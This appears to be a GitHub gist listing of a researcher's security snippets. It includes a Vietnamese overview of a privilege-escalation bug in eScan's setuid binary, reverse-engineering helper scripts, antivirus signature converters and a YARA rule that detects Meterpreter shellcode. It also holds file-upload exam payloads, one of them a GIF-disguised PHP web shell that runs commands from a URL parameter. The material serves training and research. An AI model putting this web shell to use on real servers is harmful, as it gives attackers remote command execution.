Skip to content

Instantly share code, notes, and snippets.

@dmknght
dmknght / escan_analysis_cbjs.md
Last active February 28, 2024 09:37
Phân tích lỗ hổng priv esc trong escan 7.0.32

I. Overview

  • Ứng ụng có một số file có suid bit với owner root. Vì vậy, attacker có thể lợi dụng lỗ hổng trong các file này để leo thang dặc quyền.
  • Goal: Tạo được reverse shell với quyền root

II. Analysis

1. Cách hoạt động của runasroot (công cụ: cutter, ghidra)

Note: cutter (backend là rizin framework) sử dụng bộ framework capstone của anh Anh Quỳnh để phân tích và dịch ngược ra assembly code. Trong khi đó, Ghidra sử dụng bộ từ điển Sleigh riêng. Trong một một số trường hợp, kết quả dịch ngược của cùng 1 binary file khi sử dụng 2 framework này là khác nhau.

runasroot là một file ELF có chứa suid bit và sgid bit image

@dmknght
dmknght / function_call_hash.py
Created June 22, 2023 21:09
Use rizin / radare2 to collect function calls of a function, then generate hash. The point is to find code reuse
import rzpipe # Using rizin framework. Replace with r2pipe for radare2
import json
import hashlib
import os
class BinaryMetadata:
def __init__(self, path: str):
self.pipe = rzpipe.open(path)
self.bin_path = path
@dmknght
dmknght / qiling_with_asm.py
Created June 19, 2023 07:59
print asm opcode and bytes from qiling emulator
from qiling import Qiling
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)
def print_asm(ql, address, size):
# Credits -> https://isc.sans.edu/diary/Qiling+A+true+instrumentable+binary+emulation+framework/27372
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
opcode = ' '.join('{:02x}'.format(x) for x in i.bytes)
@dmknght
dmknght / extra_test.php
Last active May 5, 2023 15:04
Extra test for file upload
dmknght<?php phpinfo();?>
@dmknght
dmknght / dmknght.php
Created May 5, 2023 13:42
WPT03 exam - payload RCE
GIF89a <?php system($_GET['c']);?>
@dmknght
dmknght / phpinfo.php
Created May 5, 2023 13:36
Payload for WPT03
GIF89a <?php phpinfo();?>
@dmknght
dmknght / test.txt
Last active May 5, 2023 13:30
exam test
GIF89a hehe đang làm exam nè
@dmknght
dmknght / parse_windef_sigs.nim
Last active February 25, 2023 06:23
Parse signatures from extracted WinDef's DB. This script won't extract compressed DB (use WDExtract instead)
import streams
import bitops
import strutils
import std/enumutils
const
db_name = "mpavbase.vdm.extracted"
type
@dmknght
dmknght / clam_hashes_to_yara.nim
Created January 14, 2023 03:30
A quick nim script to convert ClamAV hashes to Yara rules
# Compile: nim c --opt:speed clam_hashes_to_yara.nim
import strutils
const
clam_db_path = "/home/dmknght/Desktop/performance_comparison/main.hdb"
yr_converted_rule = "/home/dmknght/Desktop/performance_comparison/clam_hashes.yara"
type
HashSig = object
@dmknght
dmknght / meterpreter.yara
Created December 30, 2022 10:39
Rule to detect Metasploit's meterpreter shellcode
rule elf64_meterpreter_revtcp_raw {
meta:
description = "Detect Meterpreter ELF 64 staged reverse TCP no encoders"
strings:
$ = {6a 22 [4] 0f 05 [10] 6a 29 [8] 0f 05}
condition:
all of them
}